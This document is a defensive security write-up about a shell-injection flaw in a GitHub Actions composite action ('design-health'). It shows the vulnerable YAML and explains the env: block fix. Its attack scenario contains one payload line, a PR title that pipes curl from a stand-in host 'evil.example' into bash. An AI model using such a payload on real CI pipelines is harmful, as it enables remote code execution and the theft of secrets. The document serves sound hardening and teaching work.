Introduction
The .github/actions/design-health/action.yml composite action powers a "Design Health" audit used across CI pipelines — it validates inputs like a file path pattern, a verbose flag, fail-on-warnings, and strict mode, then runs an audit script against matching files. To keep the workflow simple, the action's run: steps interpolated these inputs directly using ${{ inputs.path }}, ${{ inputs.verbose }}, ${{ inputs.fail-on-warnings }}, and ${{ inputs.strict }} right inside the bash script text.
That pattern — embedding ${{ ... }} expressions inside a run: block — is one of the most common and dangerous mistakes in GitHub Actions authoring. GitHub performs the substitution before the shell ever sees the script, treating the entire expanded string as literal source code. If any of those values can be influenced by an attacker (directly, or indirectly through a caller workflow that forwards PR titles, branch names, or other event data as inputs), the runner effectively executes attacker-controlled shell commands.
The Vulnerability Explained
Here's the vulnerable "Run audit" step before the fix:
- name: Run audit
id: audit
shell: bash
run: |
set -e
VERBOSE_FLAG=""
if [ "${{ inputs.verbose }}" = "true" ]; then
VERBOSE_FLAG="--verbose"
fi
...
FAIL_ON_WARN="${{ inputs.fail-on-warnings }}"
STRICT="${{ inputs.strict }}"
...
for f in ${{ inputs.path }}; do
Notice that inputs.path, inputs.verbose, inputs.fail-on-warnings, and inputs.strict are all spliced directly into the script text. GitHub Actions expands ${{ inputs.path }} to its raw string value before bash parses the line. That means the substitution isn't "a shell variable holding a string" — it's literally new source code appended into the script.
Attack scenario: Imagine a caller workflow does something like:
- uses: my-org/design-health@v1
with:
path: ${{ github.event.pull_request.title }}
If an attacker opens a pull request with a title like:
"; curl -s http://evil.example/steal.sh | bash; echo "
That string gets substituted into for f in ${{ inputs.path }}; do, becoming:
for f in "; curl -s http://evil.example/steal.sh | bash; echo "; do
The shell happily executes the injected curl | bash command with the full permissions of the CI runner — including access to any secrets loaded into that job's environment (npm tokens, cloud credentials, GITHUB_TOKEN, etc.). This is exactly the class of bug behind several real-world GitHub Actions supply-chain incidents, where a seemingly harmless composite action became an RCE vector because it trusted context data inside a run: block.
The Fix
The PR hardens every interpolation point in action.yml by moving ${{ ... }} expressions out of the run: script text and into an env: block, then referencing them as ordinary (quoted) shell variables.
Before (Validate inputs step):
- name: Validate inputs
shell: bash
run: |
echo "::group::Design Health — reimagine-it"
echo "Path pattern: ${{ inputs.path }}"
echo "Fail on warnings: ${{ inputs.fail-on-warnings }}"
echo "Verbose: ${{ inputs.verbose }}"
After:
- name: Validate inputs
shell: bash
env:
INPUT_PATH: ${{ inputs.path }}
INPUT_FAIL_ON_WARNINGS: ${{ inputs.fail-on-warnings }}
INPUT_VERBOSE: ${{ inputs.verbose }}
run: |
echo "::group::Design Health — reimagine-it"
echo "Path pattern: $INPUT_PATH"
echo "Fail on warnings: $INPUT_FAIL_ON_WARNINGS"
echo "Verbose: $INPUT_VERBOSE"
The same pattern was applied to the "Run audit" step, which also picked up INPUT_STRICT and ACTION_REPOSITORY (mapped from github.action_repository):
- name: Run audit
id: audit
shell: bash
env:
INPUT_PATH: ${{ inputs.path }}
INPUT_FAIL_ON_WARNINGS: ${{ inputs.fail-on-warnings }}
INPUT_VERBOSE: ${{ inputs.verbose }}
INPUT_STRICT: ${{ inputs.strict }}
ACTION_REPOSITORY: ${{ github.action_repository }}
run: |
set -e
VERBOSE_FLAG=""
if [ "$INPUT_VERBOSE" = "true" ]; then
VERBOSE_FLAG="--verbose"
fi
...
FAIL_ON_WARN="$INPUT_FAIL_ON_WARNINGS"
STRICT="$INPUT_STRICT"
...
for f in $INPUT_PATH; do
Why this matters: with env:, GitHub Actions sets an environment variable on the runner process using its own safe assignment mechanism — the value never becomes part of the script's source text. Bash then reads $INPUT_PATH as an ordinary variable containing a string, not as code to parse. A malicious PR title full of backticks, $(), or semicolons is now just inert text sitting inside a variable — it can influence data (e.g., which files get iterated), but it can no longer inject new shell commands.
This is exactly why every ${{ }} reference that previously appeared inline inside the run: blocks — inputs.path, inputs.verbose, inputs.fail-on-warnings, inputs.strict, and github.action_repository — was relocated into env:. Leaving even one of them inline (as was flagged specifically at action.yml:45) would have left the injection primitive intact.
Prevention & Best Practices
- Never put
${{ }}expressions directly insiderun:script bodies. Always route them throughenv:first — GitHub's own security hardening guide recommends exactly this pattern. - Quote your shell variables: use
"$INPUT_PATH"rather than$INPUT_PATHwherever word-splitting or globbing isn't intentional, to avoid secondary injection/argument-splitting issues. - Treat every
github.*andinputs.*value as untrusted, especially anything derived frompull_requesttitles, branch names, commit messages, or issue bodies — these are fully attacker-controlled on public repositories. - Run Semgrep's GitHub Actions ruleset (
yaml.github-actions.security.run-shell-injection) or GitHub's CodeQL Actions queries in CI to catch this pattern automatically before merge. - Audit composite actions the same way you'd audit any code that builds shell commands from user input — a composite action is effectively a tiny program, and its
run:steps deserve the same scrutiny assubprocess.run(..., shell=True)in application code.
Key Takeaways
.github/actions/design-health/action.ymlinterpolated four separate input values (path,verbose,fail-on-warnings,strict) plusgithub.action_repositorydirectly intorun:scripts — each one was an independent injection point.- The fix introduced
env:blocks on both the "Validate inputs" and "Run audit" steps, renaming values toINPUT_PATH,INPUT_VERBOSE,INPUT_FAIL_ON_WARNINGS,INPUT_STRICT, andACTION_REPOSITORY. - The
for f in $INPUT_PATH; doloop is now driven by an environment variable, not literal script text substituted from${{ inputs.path }}. - Composite GitHub Actions are code — treat any caller-supplied
inputs.*orgithub.*context value flowing into arun:block as untrusted external input.
How Orbis AppSec Detected This
- Source:
inputs.path,inputs.verbose,inputs.fail-on-warnings,inputs.strict, andgithub.action_repository— values supplied by the calling workflow or GitHub Actions runtime context. - Sink: the
run:bash scripts in the "Validate inputs" and "Run audit" steps of.github/actions/design-health/action.yml(flagged at line 45), where${{ ... }}expressions were embedded directly in shell script text. - Missing control: no intermediate
env:variable was used to isolate untrusted context data from the shell script's literal source text, allowing direct text substitution into executable code. - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
- Fix: All
${{ ... }}interpolations were moved intoenv:blocks and referenced as quoted shell variables ("$INPUT_PATH","$INPUT_VERBOSE", etc.), preventing untrusted context data from being parsed as shell code.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This fix is a textbook example of why GitHub Actions authors need to think of run: steps as generated source code, not just templated strings. Every ${{ inputs.* }} or ${{ github.* }} expression left inline inside a run: block is a potential injection point — and .github/actions/design-health/action.yml had five of them across two steps. By routing all of them through env: and referencing them as quoted shell variables, the action now treats untrusted data as data, closing off the shell-injection primitive without changing the action's observable behavior. Any team maintaining composite or reusable GitHub Actions should grep their run: blocks for ${{ and apply the same pattern before an attacker finds it first.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- GitHub Docs: Security hardening for GitHub Actions — using an intermediate environment variable
- OWASP Cheat Sheet: OS Command Injection Defense
- Semgrep Rule: run-shell-injection
- [harden: using variable interpolation `${{ in action.yml](